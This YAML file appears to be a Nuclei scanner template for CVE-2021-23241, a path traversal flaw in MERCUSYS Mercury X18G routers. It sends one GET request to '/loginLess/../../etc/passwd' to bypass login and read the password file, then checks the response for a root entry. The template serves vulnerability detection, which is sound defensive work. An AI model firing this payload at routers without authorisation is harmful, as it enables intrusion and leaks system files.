38 lines
1.1 KiB
YAML
38 lines
1.1 KiB
YAML
id: CVE-2021-23241
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info:
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name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
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author: daffainfo
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severity: medium
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description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
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reference:
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- https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
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- https://www.mercusys.com/en/
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- https://www.mercurycom.com.cn/product-521-1.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-23241
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2021-23241
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cwe-id: CWE-22
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epss-score: 0.00265
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tags: cve,cve2021,iot,lfi,router
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metadata:
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max-request: 1
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http:
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- method: GET
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path:
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- "{{BaseURL}}/loginLess/../../etc/passwd"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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part: body
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- type: status
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status:
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- 200
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